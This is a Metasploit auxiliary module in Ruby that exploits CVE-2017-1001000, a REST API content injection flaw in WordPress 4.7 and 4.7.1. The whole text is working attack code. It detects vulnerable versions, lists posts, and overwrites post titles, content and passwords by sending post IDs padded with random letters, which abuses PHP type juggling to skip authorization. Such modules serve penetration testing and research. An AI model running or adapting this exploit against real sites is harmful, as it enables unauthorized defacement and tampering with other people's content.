WordPress REST API Content Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress REST API Content Injection',  
'Description' => %q{  
This module exploits a content injection vulnerability in WordPress  
versions 4.7 and 4.7.1 via type juggling in the REST API.  
},  
'Author' => [  
'Marc Montpas', # Vulnerability discovery  
'wvu' # Metasploit module  
],  
'References' => [  
['CVE' , '2017-1001000'],  
['WPVDB', '8734'],  
['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'],  
['URL', 'https://www.php.net/manual/en/language.types.type-juggling.php'],  
['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'],  
['URL', 'https://developer.wordpress.org/rest-api/reference/posts/']  
],  
'DisclosureDate' => '2017-02-01',  
'License' => MSF_LICENSE,  
'Actions' => [  
['LIST', 'Description' => 'List posts'],  
['UPDATE', 'Description' => 'Update post']  
],  
'DefaultAction' => 'LIST'  
))  
  
register_options([  
OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]),  
OptString.new('POST_TITLE', [false, 'Post title']),  
OptString.new('POST_CONTENT', [false, 'Post content']),  
OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])  
])  
  
register_advanced_options([  
OptInt.new('PostCount', [false, 'Number of posts to list', 100]),  
OptString.new('SearchTerm', [false, 'Search term when listing posts'])  
])  
end  
  
def check_host(_ip)  
if (version = wordpress_version)  
version = Rex::Version.new(version)  
else  
return Exploit::CheckCode::Safe  
end  
  
vprint_status("WordPress #{version}: #{full_uri}")  
  
if version.between?(Rex::Version.new('4.7'), Rex::Version.new('4.7.1'))  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Detected  
end  
end  
  
def run_host(_ip)  
if !wordpress_and_online?  
print_error("WordPress not detected at #{full_uri}")  
return  
end  
  
case action.name  
when 'LIST'  
do_list  
when 'UPDATE'  
do_update  
end  
end  
  
def do_list  
posts_to_list = list_posts  
  
if posts_to_list.empty?  
print_status("No posts found at #{full_uri}")  
return  
end  
  
tbl = Rex::Text::Table.new(  
'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})",  
'Columns' => %w{ID Title URL Password}  
)  
  
posts_to_list.each do |post|  
tbl << [  
post[:id],  
Rex::Text.html_decode(post[:title]),  
post[:url],  
post[:password] ? 'Yes' : 'No'  
]  
end  
  
print_line(tbl.to_s)  
end  
  
def do_update  
posts_to_update = []  
  
if datastore['POST_ID'] == 0  
posts_to_update = list_posts  
else  
posts_to_update << {id: datastore['POST_ID']}  
end  
  
if posts_to_update.empty?  
print_status("No posts to update at #{full_uri}")  
return  
end  
  
posts_to_update.each do |post|  
res = update_post(post[:id],  
title: datastore['POST_TITLE'],  
content: datastore['POST_CONTENT'],  
password: datastore['POST_PASSWORD']  
)  
  
post_url = full_uri(wordpress_url_post(post[:id]))  
  
if res && res.code == 200  
print_good("SUCCESS: #{post_url} (Post updated)")  
elsif res && (error = res.get_json_document['message'])  
print_error("FAILURE: #{post_url} (#{error})")  
end  
end  
end  
  
def list_posts  
posts = []  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(get_rest_api, 'posts'),  
'vars_get' => {  
'per_page' => datastore['PostCount'],  
'search' => datastore['SearchTerm']  
}  
}, 3.5)  
  
if res && res.code == 200  
res.get_json_document.each do |post|  
posts << {  
id: post['id'],  
title: post['title']['rendered'],  
url: post['link'],  
password: post['content']['protected']  
}  
end  
elsif res && (error = res.get_json_document['message'])  
vprint_error("Failed to list posts: #{error}")  
end  
  
posts  
end  
  
def update_post(id, opts = {})  
payload = {}  
  
payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}"  
payload[:title] = opts[:title] if opts[:title]  
payload[:content] = opts[:content] if opts[:content]  
payload[:password] = opts[:password] if opts[:password]  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(get_rest_api, 'posts', id),  
'ctype' => 'application/json',  
'data' => payload.to_json  
}, 3.5)  
end  
  
def get_rest_api  
return @rest_api if @rest_api  
  
res = send_request_cgi!({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
}, 3.5)  
  
if res && res.code == 200  
@rest_api = parse_rest_api(res)  
end  
  
@rest_api ||= wordpress_url_rest_api  
end  
  
def parse_rest_api(res)  
rest_api = nil  
  
link = res.headers['Link']  
html = res.get_html_document  
  
if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$}  
rest_api = route_rest_api($1)  
vprint_status('REST API found in Link header')  
elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href'))  
rest_api = route_rest_api(xpath)  
vprint_status('REST API found in HTML document')  
end  
  
rest_api  
end  
  
def route_rest_api(rest_api)  
normalize_uri(path_from_uri(rest_api), 'wp/v2')  
end  
end  
`